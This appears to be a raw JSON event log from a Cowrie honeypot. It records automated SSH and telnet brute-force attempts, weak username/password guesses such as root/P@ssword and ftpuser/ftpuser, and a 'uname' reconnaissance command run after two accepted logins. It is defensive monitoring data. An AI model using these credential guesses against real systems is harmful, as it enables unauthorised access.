{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:02.421670Z","src_ip":"103.183.114.55","session":"02d1b7730d02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":34924,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bc3dd340866","protocol":"ssh","message":"New connection: 45.156.87.204:34924 (159.203.135.109:22) [session: 8bc3dd340866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:02.869131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:02.873820Z","src_ip":"45.156.87.204","session":"8bc3dd340866","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:02.955724Z","src_ip":"45.156.87.204","session":"8bc3dd340866","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samanalid","password":"123456","message":"login attempt [samanalid/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:03.202127Z","src_ip":"45.156.87.204","session":"8bc3dd340866","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36942,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a61089d5316","protocol":"telnet","message":"New connection: 152.42.224.71:36942 (10.17.0.5:23) [session: 3a61089d5316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:03.418587Z"}
{"eventid":"cowrie.session.closed","duration":41.676963090896606,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:03.464386Z","src_ip":"152.42.224.71","session":"0de015b8ebed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:04.403163Z","src_ip":"45.156.87.204","session":"8bc3dd340866","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":34930,"dst_ip":"159.203.135.109","dst_port":22,"session":"49155b044aec","protocol":"ssh","message":"New connection: 45.156.87.204:34930 (159.203.135.109:22) [session: 49155b044aec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:06.343674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:06.348234Z","src_ip":"45.156.87.204","session":"49155b044aec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:06.430734Z","src_ip":"45.156.87.204","session":"49155b044aec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234","message":"login attempt [minecraft/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:06.676772Z","src_ip":"45.156.87.204","session":"49155b044aec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:07.761911Z","src_ip":"45.156.87.204","session":"49155b044aec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.362255334854126,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:09.932519Z","src_ip":"152.42.224.71","session":"920b29fa49d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":34934,"dst_ip":"159.203.135.109","dst_port":22,"session":"da555c427621","protocol":"ssh","message":"New connection: 45.156.87.204:34934 (159.203.135.109:22) [session: da555c427621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:10.081527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:10.086273Z","src_ip":"45.156.87.204","session":"da555c427621","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:10.168471Z","src_ip":"45.156.87.204","session":"da555c427621","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"discordbot","password":"discordbot","message":"login attempt [discordbot/discordbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:10.413937Z","src_ip":"45.156.87.204","session":"da555c427621","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:11.503134Z","src_ip":"45.156.87.204","session":"da555c427621","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60132,"dst_ip":"159.203.135.109","dst_port":22,"session":"01a4848e0ae7","protocol":"ssh","message":"New connection: 45.156.87.204:60132 (159.203.135.109:22) [session: 01a4848e0ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:13.524724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:13.529886Z","src_ip":"45.156.87.204","session":"01a4848e0ae7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:13.611982Z","src_ip":"45.156.87.204","session":"01a4848e0ae7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:13.859963Z","src_ip":"45.156.87.204","session":"01a4848e0ae7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:14.073525Z","src_ip":"45.156.87.204","session":"01a4848e0ae7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:14.077520Z","src_ip":"45.156.87.204","session":"01a4848e0ae7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:14.164346Z","src_ip":"45.156.87.204","session":"01a4848e0ae7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:14.168663Z","src_ip":"45.156.87.204","session":"01a4848e0ae7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58964,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb250e46c83d","protocol":"telnet","message":"New connection: 152.42.224.71:58964 (10.17.0.5:23) [session: cb250e46c83d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:14.479720Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60136,"dst_ip":"159.203.135.109","dst_port":22,"session":"16061451f707","protocol":"ssh","message":"New connection: 45.156.87.204:60136 (159.203.135.109:22) [session: 16061451f707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:16.950283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:16.955293Z","src_ip":"45.156.87.204","session":"16061451f707","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:17.095108Z","src_ip":"45.156.87.204","session":"16061451f707","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:17.646500Z","src_ip":"45.156.87.204","session":"16061451f707","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:18.732203Z","src_ip":"45.156.87.204","session":"16061451f707","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60138,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ea60d3a90ed","protocol":"ssh","message":"New connection: 45.156.87.204:60138 (159.203.135.109:22) [session: 0ea60d3a90ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:20.761691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:20.769949Z","src_ip":"45.156.87.204","session":"0ea60d3a90ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:20.852179Z","src_ip":"45.156.87.204","session":"0ea60d3a90ed","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:21.098748Z","src_ip":"45.156.87.204","session":"0ea60d3a90ed","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:21.296935Z","src_ip":"45.156.87.204","session":"0ea60d3a90ed","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:21.299639Z","src_ip":"45.156.87.204","session":"0ea60d3a90ed","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:21.382958Z","src_ip":"45.156.87.204","session":"0ea60d3a90ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:21.387658Z","src_ip":"45.156.87.204","session":"0ea60d3a90ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48372,"dst_ip":"10.17.0.5","dst_port":23,"session":"977c180a9e19","protocol":"telnet","message":"New connection: 152.42.224.71:48372 (10.17.0.5:23) [session: 977c180a9e19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:21.545396Z"}
{"eventid":"cowrie.session.closed","duration":49.2332923412323,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:22.152344Z","src_ip":"152.42.224.71","session":"5c575e126c7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":44952,"dst_ip":"159.203.135.109","dst_port":22,"session":"47f43c5d8213","protocol":"ssh","message":"New connection: 124.155.125.131:44952 (159.203.135.109:22) [session: 47f43c5d8213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:22.452572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:22.456914Z","src_ip":"124.155.125.131","session":"47f43c5d8213","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:22.629694Z","src_ip":"124.155.125.131","session":"47f43c5d8213","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Master2023","message":"login attempt [root/Master2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:23.354683Z","src_ip":"124.155.125.131","session":"47f43c5d8213","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45642,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ab881d3a49c","protocol":"ssh","message":"New connection: 45.156.87.204:45642 (159.203.135.109:22) [session: 9ab881d3a49c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:24.196977Z"}
